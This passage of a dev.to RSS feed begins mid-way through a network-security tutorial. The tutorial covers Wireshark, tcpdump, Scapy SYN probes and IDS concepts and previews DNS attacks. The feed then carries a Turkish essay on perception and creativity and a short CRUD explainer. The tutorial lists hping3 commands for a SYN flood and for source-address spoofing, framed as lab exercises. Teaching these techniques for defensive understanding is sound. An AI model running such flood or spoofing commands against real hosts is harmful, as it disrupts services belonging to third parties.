Start by installing Wireshark and setting up a small lab — even two virtual machines on your own computer are sufficient. Capture traffic between them as you do various things: browse a website, make an SSH connection, run an Nmap scan. Look at every packet. Expand every header. Find the fields we discussed and confirm that they contain what you expect.&lt;br&gt;
Practice writing Wireshark display filters until they feel natural. Given a capture file with thousands of packets, you should be able to immediately write a filter that shows only the traffic you care about.&lt;br&gt;
Learn to use tcpdump, which is the command-line equivalent of Wireshark. In real incident response scenarios, you often cannot run a GUI application on a server — you need tcpdump. The basic syntax is tcpdump -i eth0 -w capture.pcap to capture all traffic on interface eth0 and write it to a file, and tcpdump -r capture.pcap to read a previously captured file. Combine with BPF filters: tcpdump -i eth0 'tcp port 80 and host 192.168.1.100'.&lt;br&gt;
Practice with Scapy, a Python library that allows you to craft, send, receive, and analyze packets at an extremely low level. With Scapy, you can construct packets field by field, send them, and inspect the responses. This is invaluable for understanding protocol behavior and for testing.&lt;br&gt;
A basic Scapy example that sends a SYN and captures the response looks like this: you create an IP layer with the destination address, a TCP layer with the target port and the SYN flag set, stack them together, and send them with the sr1 function (send and receive one response). The response tells you whether the port is open (SYN-ACK) or closed (RST) or filtered (no response). This is mechanically what Nmap's SYN scan does, but by doing it yourself in Scapy you understand exactly what is happening.&lt;br&gt;
Practice with hping3, a command-line tool for crafting TCP/IP packets. hping3 -S -p 80 target sends SYN packets to port 80. hping3 --flood -S -p 80 target sends SYN packets as fast as possible, simulating a SYN flood. hping3 -a spoofed_ip -S -p 80 target sends SYN packets with a spoofed source address. These operations, performed in a controlled lab environment, teach you what various attacks look like at the packet level.&lt;br&gt;
Read RFC 793 (TCP) and RFC 791 (IP). They are long and technical, but they are the authoritative source. When you encounter behavior that surprises you, the RFC is where you find the answer.&lt;/p&gt;

&lt;p&gt;From Packets to Security Operations&lt;br&gt;
Everything we have covered directly translates to security operations. When a SOC analyst looks at an alert, they are looking at metadata derived from network packets. When a penetration tester runs a port scan, they are sending crafted packets and interpreting responses. When a malware analyst examines network traffic from a sandbox, they are reading packet captures. When an incident responder tries to understand what an attacker did on a network, they are correlating flow records and packet captures.&lt;br&gt;
A network intrusion detection system like Snort or Suricata applies rules against packet streams. Understanding how those rules work — matching on specific bytes at specific offsets in specific protocol headers — requires exactly the knowledge in this article. A rule that matches TCP traffic with the SYN flag set to a specific destination port is expressing a condition on the flags field of the TCP header and the destination port field, which you now know exactly where to find.&lt;br&gt;
A web application firewall that inspects HTTP traffic is operating at the application layer but still relies on the lower layers to deliver the traffic to it. Understanding how traffic arrives — through TCP streams assembled from IP packets, which were carried in Ethernet frames — helps you understand the attack surface of the WAF itself.&lt;br&gt;
Encrypted traffic analysis (ETA) is a growing field that extracts security-relevant information from TLS-encrypted traffic without decrypting it. The techniques rely on metadata that is visible even in encrypted sessions: the sizes of packets, their timing, the sequence of packet sizes and directions (the traffic flow's "fingerprint"), the TLS handshake parameters (cipher suites, certificate information, client hello characteristics). All of this metadata is in the lower layers — the IP and TCP headers — which are not encrypted. This is why TLS does not make traffic fully opaque to a sophisticated observer.&lt;/p&gt;

&lt;p&gt;What Comes Next&lt;br&gt;
This article has given you the packet-level foundation that everything else in network security is built on. You now understand how bits become frames, how frames become packets, how packets become segments, and how every field in every header can be inspected, manipulated, or exploited.&lt;br&gt;
The next article in this series goes one layer up: DNS. The Domain Name System is the phone book of the internet, and it is also one of the most abused protocols in both offense and defense. DNS-based attacks — cache poisoning, DNS hijacking, DNS tunneling, domain generation algorithms, fast flux — are pervasive in modern malware and advanced persistent threat operations. And DNS-based defenses — DNS filtering, RPZ (Response Policy Zones), passive DNS, DNS anomaly detection — are some of the most cost-effective security controls available. Understanding DNS at a deep level requires exactly the foundation you have now: knowing how a DNS query travels from your machine to a resolver, how the response comes back, and what can go wrong (or be made to go wrong) at every step.&lt;br&gt;
The packet is where security begins. Everything else is built on top of it.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>tutorial</category>
      <category>networking</category>
      <category>infosec</category>
    </item>
    <item>
      <title>YANILSAMA MAKİNESİ</title>
      <dc:creator>Rençber AKMAN</dc:creator>
      <pubDate>Sat, 25 Apr 2026 10:35:54 +0000</pubDate>
      <link>https://dev.to/rencberakman/yanilsamamakinesi-1mm0</link>
      <guid>https://dev.to/rencberakman/yanilsamamakinesi-1mm0</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3a3gdsln782gojdj0iuh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3a3gdsln782gojdj0iuh.png" alt=" " width="800" height="486"&gt;&lt;/a&gt;&lt;br&gt;
Gerçekliği inşa eden zihnin içindeki yabancıya dair&lt;br&gt;
Şu an gözlerin bu satırları tarıyor. Ama görmüyor — tanıyor. Ve bu fark, her şeyi değiştirir.&lt;/p&gt;

&lt;p&gt;I&lt;br&gt;
Birinci Hareket&lt;br&gt;
Tahmin Makinesi:&lt;br&gt;
Gerçekliğin İnşası&lt;br&gt;
Şu an okuduğun bu cümle, beynine ulaşmadan önce zaten yorumlandı. Gözünün retinaları fotonları elektrik sinyaline çevirdi. O sinyal optik sinir boyunca yolculuğa çıktı. Görsel korteks onu işledi. Ve sonra — sadece sonra — "anlamak" dediğin şey gerçekleşti.&lt;/p&gt;

&lt;p&gt;Ama o "anlama" bile bir yanılsamadır.&lt;/p&gt;

&lt;p&gt;Nörobilim Notu&lt;br&gt;
Beyin, duyu organlarından gelen ham veriyi beklemez — sürekli bir "dünyada sırada ne var" modeli üretir. Nörobilimciler buna predictive processing (tahminsel işleme) diyor. Gözlerimizden, kulaklarımızdan gelen sinyal, bu tahminleri düzeltmek için kullanılır. Yani gerçekliği algılamıyorsun. Gerçekliği üretiyorsun — ve sinyaller sadece seni düzeltiyor.&lt;/p&gt;

&lt;p&gt;Sen bir alıcı değilsin. Sen bir tahmin makinesisin. Ve bu, her şeyi değiştirir.&lt;/p&gt;

&lt;p&gt;Platon'un mağarasını bilirsin — zincirlenmiş mahkumlar, duvara yansıyan gölgeleri gerçek sanır. Ama Platon o metaforu yazarken bilmiyordu: mağara dışarıda değil. Mağara zihnin içinde.&lt;/p&gt;

&lt;p&gt;Bir şey gördüğünde "ağaç" demiyorsun aslında. Diyorsun ki: "Bu, daha önce ağaç dediğim şeye benziyor." Tüm yaşamın bu. Benzetme. Tanıma. Tekrar. Ve o tekrarın içinde — yavaşça, fark etmeden — kayboluyorsun.&lt;/p&gt;

&lt;p&gt;O süzgeci kim kurdu? Evrim. Kültür. Ailen. İlk aşkın.&lt;br&gt;
İlk hayal kırıklığın.&lt;br&gt;
Peki o süzgecin içinden baktığında buna "gerçek" diyorsun. Ama şunu sormak gerekiyor: Gerçek olan şeyi mi görüyorsun, yoksa görebileceğin şeyi mi? Cevap acı verici biçimde basittir: İkisi nadiren aynıdır.&lt;/p&gt;

&lt;p&gt;Antonio Damasio'nun somatic marker teorisini düşün. Her karar, her "mantıklı" yargı — bunların hepsi, bedenin geçmişteki deneyimlerinin damgasını taşır. "Aklın" dediğin şey, geçmişin beden hafızasının sese gelmiş halidir. Özgür irade mi? Belki. Ama o iradenin kullandığı araçlar, miras alınmış.&lt;/p&gt;

&lt;p&gt;Şimdi bir an dur. İçinde yükselen "Ben zaten bunu biliyorum" sesi — o ses de bu sistemin parçası. Savunma mekanizması, bilgiye dönüşmüş. Ego, aydınlanma kıyafeti giymiş. Gerçek soru şu: Seni sarsmayı başaran son fikir ne zamandı?&lt;/p&gt;

&lt;p&gt;···&lt;br&gt;
II&lt;br&gt;
İkinci Hareket&lt;br&gt;
Sürünün Sesi,&lt;br&gt;
Bireyin Sessizliği&lt;br&gt;
1950'lerde Solomon Asch bir deney yaptı. Deneklere açıkça doğru cevabı olan bir soru soruldu. Ama odadaki diğer kişiler — ki hepsi araştırmacının ajanıydı — kasıtlı olarak yanlış cevap verdi.&lt;/p&gt;

&lt;p&gt;Deneklerin yüzde yetmiş beşi, en az bir kez, kendi gözlerinin söylediğinin tersini söyledi. Sadece sosyal baskıdan.&lt;/p&gt;

&lt;p&gt;Beyin ve Sosyal Ağrı&lt;br&gt;
Beyin, sosyal dışlanmayı fiziksel acı gibi işler. Bu bir metafor değil — nöroimaging çalışmalarıyla kanıtlanmış gerçek. Anterior cingulate cortex, hem kırık kemikde hem de sosyal reddedilmede aynı şekilde aktive olur. Yani sürüden dışlanmak, beynin için gerçekten bir fiziksel acıdır.&lt;/p&gt;

&lt;p&gt;Evrim seni topluluğa bağımlı yaptı — çünkü tek başına Pleistosen savannasında hayatta kalamazdın. Ama o bağımlılığı 21. yüzyıla taşıdın. Artık aslan yoktu, sosyal medya vardı. Artık kabile yoktu, ofis hiyerarşisi vardı. Ve beyin her ikisinde de aynı hayatta kalma protokolünü çalıştırdı:&lt;/p&gt;

&lt;p&gt;01 —&lt;br&gt;
Uyum. Grubun normlarına yaklaş. Farklı olmak tehlikelidir.&lt;br&gt;
02 —&lt;br&gt;
Onay al. Beğeni, yorum, gülen yüz emojisi — hepsi aynı nöral ödül devresini tetikliyor.&lt;br&gt;
03 —&lt;br&gt;
Dışlanma. Bu ihtimal bile kortizol salgılatıyor. Savunma modu açılıyor.&lt;br&gt;
Buna "başarı" diyorsun. Ama bu, evrimsel bir refleksin modern elbisesidir.&lt;/p&gt;

&lt;p&gt;Sürü artık fark edilemiyor. Eski sürü koyundu — aynı kıyafetle, aynı fikirle, aynı rutinle. Yeni sürü sofistike. Kitap okuyor. Podcast dinliyor. Farkındalık içerikleri tüketiyor. Kendini sorguluyor — ama sorgulama da standartlaştı.&lt;/p&gt;

&lt;p&gt;Yeni Konformizm Üzerine&lt;br&gt;
"Konfor zonumdan çıktım" diyen herkes, konfor zonu çıkışının kendine özgü konfor zonunu inşa etmiş durumda. Bu paradokstan çıkış, daha fazla içerik tüketmekle gelmiyor. Daha az tüketmekle, daha uzun sessizlikle — ve o sessizlikte yükselen rahatsızlığa katlanmakla geliyor.&lt;/p&gt;

&lt;p&gt;···&lt;br&gt;
III&lt;br&gt;
Üçüncü Hareket&lt;br&gt;
Beyin Parametrelerinin&lt;br&gt;
Dışında&lt;br&gt;
Nöronların arasındaki boşluğa sinaps deniyor. Ve şu an bu kelimeyi okurken, beyninde yeni bir sinaptik bağlantı adayı oluştu. Buna nöroplastisite deniyor — beyin statik bir organ değil, her deneyimle yeniden şekillenen bir yapı.&lt;/p&gt;

&lt;p&gt;Ama şunu bilmek gerekiyor: Nöroplastisite çaba ister. Beyni değiştiren, bilgi değil — deneyim. Sadece okumak yetmez. Yeni bir düşünceyi yaşamak gerekiyor. Onu davranışa, karara, riske dönüştürmek gerekiyor.&lt;/p&gt;

&lt;p&gt;Bu metni okumak seni değiştirmez.&lt;br&gt;
Bu metni okuduktan sonra ne yaptığın değiştirir.&lt;br&gt;
Thomas Kuhn "paradigma kayması"nı şöyle anlatır: Bilim yavaş birikimle değil, kırılmalarla ilerler. Anomaliler birikmeden önce eski paradigma direnç gösterir. Sonra bir kırılma anı gelir. Ve artık eski gözle bakılamaz. Senin için de böyle çalışıyor.&lt;/p&gt;

&lt;p&gt;İçinde, şu an, birikmekte olan anomaliler var. Uymayan şeyler. Huzursuz eden sorular. Cevabını ertelediğin gerçekler. Ve o anomalileri bastırmak için ne kadar enerji harcıyorsun?&lt;/p&gt;

&lt;p&gt;İnsan Zihni ve Belirsizlik&lt;br&gt;
Beyin, belirsizliği tehdit olarak algılar. "Bilmiyorum" demek, nöronal bir alarm sinyalidir. Çünkü Pleistosen'de bilmemek ölüm demekti. O hız gerekliydi. Ama şimdi: Hemen dolduruyoruz. Hemen etiketliyoruz. Ve her etiketlediğimizde, bir şeyin gerçek karmaşıklığını öldürüyoruz.&lt;/p&gt;

&lt;p&gt;···&lt;br&gt;
IV&lt;br&gt;
Dördüncü Hareket&lt;br&gt;
Zaman, Ölüm ve&lt;br&gt;
Yaratmanın Aciliyeti&lt;br&gt;
Epiktetos dedi ki: "Senden alınamayacak şeyi hiçbir şey senden alamaz." Ama Epiktetos modern nörobilimi bilmiyordu: Ego, korku karşısında kendini bile feda edebilir. Bence gerçek Stoacılık, duyarsızlaşmak değil. Gerçek Stoacılık, ölümlülüğünü tam olarak hissetmek — ve o hissin içinde yine de hareket etmek.&lt;/p&gt;

&lt;p&gt;"Memento Mori" — ölümü hatırla. Bu bir karamsarlık değil. Bu bir önceliklendirme aracı. Şunu dene: Şu an yapabileceğin ama yapmadığın en önemli şey nedir? Ve şimdi sor: Neden yapmıyorsun?&lt;/p&gt;

&lt;p&gt;Çoğunlukla cevap şu olur: "Zaman yok." Ya da "Henüz hazır değilim." Ya da "Sonra yapacağım." Ama "sonra" dediğin an, beynin ürettiği en büyük kurgudur.&lt;/p&gt;

&lt;p&gt;Zaman doğrusal değil. Zaman, dikkatin gittiği yerdedir. Ve dikkat en değerli kaynaktır — yenilenemeyen, satın alınamayan, geri alınamayan tek kaynak.&lt;/p&gt;

&lt;p&gt;Varoluş Üzerine&lt;br&gt;
Heidegger buna Dasein dedi — orada olmak, şimdide var olmak. Varoluşun özü nedir? Ölümlülüktür. Ve ölümlülüğü görmezden gelen her proje, varoluştan kaçıştır. Sen şu an kaçıyor musun? Belki büyük bir kariyer hedefinin ardında. Belki konfor rutininin içinde. Belki sürekli tüketerek — içerik, ilişki, deneyim — ama hiçbirinde tam olmadan.&lt;/p&gt;

&lt;p&gt;Tam olmak ürküntü verir. Çünkü tam olunca ne istediğin de netleşir. Netleşince sorumluluk başlar. Ve sorumluluk, özgürlüğün ağırlığıdır.&lt;/p&gt;

&lt;p&gt;···&lt;br&gt;
V&lt;br&gt;
Beşinci Hareket&lt;br&gt;
Sibernetik Benlik:&lt;br&gt;
İnsanın Bittiği Yerde&lt;br&gt;
Teknoloji, insanlığın dışsal sinir sistemidir. Yazı icat edildiğinde, hafıza artık sadece beyinde değildi. Matbaa icat edildiğinde, fikir artık ölümlü değildi. İnternet ortaya çıktığında, bireysel zihin kolektif bir ağın düğümü haline geldi.&lt;/p&gt;

&lt;p&gt;Ve şu an yapay zeka ile yaşadığımız şey, bu serinin en radikal adımı: Düşünme kapasitesi, biyolojik sınırı aşıyor.&lt;/p&gt;

&lt;p&gt;A —&lt;br&gt;
Birinci yorum: İnsanlık geçersizleşiyor. Makineler daha hızlı düşünüyor, daha çok biliyor, daha az hata yapıyor. İnsan fazlalık.&lt;br&gt;
B —&lt;br&gt;
İkinci yorum: İnsanlık için ilk kez, biyolojik kısıtların ötesine geçme imkânı var. Ve bu altyapı üzerinde, insan olmak ne anlama geliyor?&lt;br&gt;
İkinci yorumun doğru olduğuna inanıyorum. Ama koşullu. Eğer insanın özgün katkısı merak, yaratıcılık ve empati ise — bunlar makinenin yapamadığı şeyler olmaya devam edecek. Eğer insan sadece bilgi işleme ve tekrar üretme rolüne razı olursa — o zaman evet, geçersizleşme gerçek.&lt;/p&gt;

&lt;p&gt;Makine olasılık dağılımından en olası çıktıyı üretiyor.&lt;br&gt;
İnsan ise olasılık dağılımını kırabilecek tek varlık.&lt;br&gt;
Anomali üretebilen, kurala meydan okuyabilen, mantığın bittiği yerden başlayabilen — sadece insan. Ve işte burada yaratıcılık, bir yetenek olmaktan çıkıp varoluşsal bir zorunluluk haline geliyor.&lt;/p&gt;

&lt;p&gt;···&lt;br&gt;
VI&lt;br&gt;
Altıncı Hareket&lt;br&gt;
Yaratmanın&lt;br&gt;
Gerçek Kaynağı&lt;br&gt;
Bütün bu yolculuktan sonra asıl soruya geliyoruz: Yaratıcılık nedir? "Bir şeyler icat etmek" değil. "Yetenek" hiç değil. "İlham beklemek" kesinlikle değil.&lt;/p&gt;

&lt;p&gt;Yaratıcılık şudur: Evrende mevcut olan malzemeyi, daha önce hiç olmayan bir kombinasyona getirmek.&lt;/p&gt;

&lt;p&gt;Kozmik Perspektif&lt;br&gt;
Sen de evrenden yapılmışsın. Atomların 13.8 milyar yıllık yolculuğunun bir ürünüsün. Hidrojenden yıldıza. Yıldızdan karbona. Karbondan DNA'ya. DNA'dan nörona. Nörondan şu an okuduğun bu cümleye. Evren, maddeyi kullanarak kendini anlıyor. Sen o sürecin en son, en karmaşık, en kırılgan halkasısın.&lt;/p&gt;

&lt;p&gt;Yarattığın her şey — bir şiir, bir girişim, bir çocuk için söylenen bir ninni, bir denklem, bir tablo — evrende daha önce hiç olmamış bir yapıdır. Bu mucizedir. Günlük olan, sıradan olan, "herkes yapıyor" olan bir mucize.&lt;/p&gt;

&lt;p&gt;Picasso şöyle demişti: "Her çocuk bir sanatçıdır. Sorun büyürken sanatçı olmaya devam etmektir." Çocukluk kaybı nedir gerçekte? Yargılanma korkusunun öğrenilmesidir.&lt;/p&gt;

&lt;p&gt;Doğduğunda "bu saçma görünüyor mu?" diye düşünmüyordun. Çiziyordun. Hayal ediyordun. Soruları cevaplardan daha ilginç buluyordun. Sonra biri güldü. Ya da biri "olmaz" dedi. Ya da not sistemi, doğruyu yanlıştan ayırmayı, hayal gücünü ölçülü tutmayı öğretti.&lt;/p&gt;

&lt;p&gt;Ve yaratmanın o ilkel, korkusuz hali yavaşça içe döndü. Ama hala orada. Unutulmuş, bastırılmış, "pratik değil" diye ötelenmiş — ama hala orada.&lt;/p&gt;

&lt;p&gt;Yaratıcılık ve Özgünlük Üzerine&lt;br&gt;
Ve evren seni kullanarak kendini anlıyor. Sen bunu, başkalarının ne düşüneceğini merak ederek her sabah askıya alıyorsun.&lt;/p&gt;

&lt;p&gt;Son · Geri Dön Ama Aynı Olmadan&lt;br&gt;
Şu an gözlerin bu son bölümü tarıyor.&lt;/p&gt;

&lt;p&gt;Bu metni okuduğun süre içinde, beyninde yüzlerce nöron ateşlendi, yeni sinaptik bağlantı adayları oluştu. Bazıları kalıcı olacak — eğer bu fikirleri yaşantıya dönüştürürsen. Çoğu kaybolacak — eğer bir sonraki bildirime geçersen.&lt;/p&gt;

&lt;p&gt;Karar senin.&lt;/p&gt;

&lt;p&gt;Sana bir manifesto vermeyeceğim. Sana bir sistem önermeyeceğim. Sana "şu adımları at" demeyeceğim. Çünkü bunlar, düşünmeyi dış kaynaklı hale getiriyor. Ve dış kaynaklı düşünce, sürünün rafine edilmiş halidir.&lt;/p&gt;

&lt;p&gt;Sana tek bir şey söyleyeyim:&lt;/p&gt;

&lt;p&gt;Bugün, içinde en uzun süredir beklettğin soruyu sor.&lt;/p&gt;

&lt;p&gt;Cevabını bilmeden sor.&lt;br&gt;
Cevabı rahatsız edecek olsa bile sor.&lt;br&gt;
Cevabı seni değiştirecek olsa bile sor.&lt;/p&gt;

&lt;p&gt;Çünkü değişmekten korkan insan yaşamıyor — zaman içinde donmuş, güvenli bir noktada bekliyor.&lt;/p&gt;

&lt;p&gt;Ve o bekleme, hayatın geçtiği yerdir.&lt;/p&gt;

</description>
    </item>
    <item>
      <title>🔍⭐What are CRUD operations? (Create, Read, Update, Delete)</title>
      <dc:creator>Rençber AKMAN</dc:creator>
      <pubDate>Thu, 04 Sep 2025 10:21:15 +0000</pubDate>
      <link>https://dev.to/rencberakman/what-are-crud-operations-create-read-update-delete-5b6g</link>
      <guid>https://dev.to/rencberakman/what-are-crud-operations-create-read-update-delete-5b6g</guid>
      <description>&lt;p&gt;CRUD refers to the four basic operations that can be performed on a database or an application: Create, Read, Update, Delete. These operations form the foundation of almost all software and data management systems.&lt;/p&gt;

&lt;p&gt;Create (Oluştur) ✨ Used to add new data. 📌 Example: When a user fills out and submits a registration form, this operation adds a new user to the database.&lt;/p&gt;

&lt;p&gt;Read (Oku) 📖 Used to read or retrieve existing data. 📌 Example: Running a query to view the list of users is a Read operation.&lt;/p&gt;

&lt;p&gt;Update (Güncelle) 🔄 Used to modify existing data. 📌 Example: Changing a user's email address is an Update operation.&lt;/p&gt;

&lt;p&gt;Delete (Sil) 🗑️ Used to remove existing data from the system. 📌 Example: Permanently deleting a user account is a Delete operation.&lt;/p&gt;

&lt;p&gt;✅ In short:&lt;/p&gt;

&lt;p&gt;Create → Add new data&lt;/p&gt;

&lt;p&gt;Read → Retrieve/view data&lt;/p&gt;

&lt;p&gt;Update → Modify existing data&lt;/p&gt;

&lt;p&gt;Delete → Remove data&lt;/p&gt;

&lt;p&gt;💡 Pro Tip: CRUD operations are often mapped to HTTP methods:&lt;/p&gt;

&lt;p&gt;Create → POST&lt;/p&gt;

&lt;p&gt;Read → GET&lt;/p&gt;

&lt;p&gt;Update → PUT/PATCH&lt;/p&gt;

&lt;p&gt;Delete → DELETE&lt;/p&gt;

&lt;p&gt;This way, both database and REST API logic are built upon the same core principles.&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>backend</category>
      <category>fullstack</category>
      <category>learning</category>
    </item>
  </channel>
</rss>
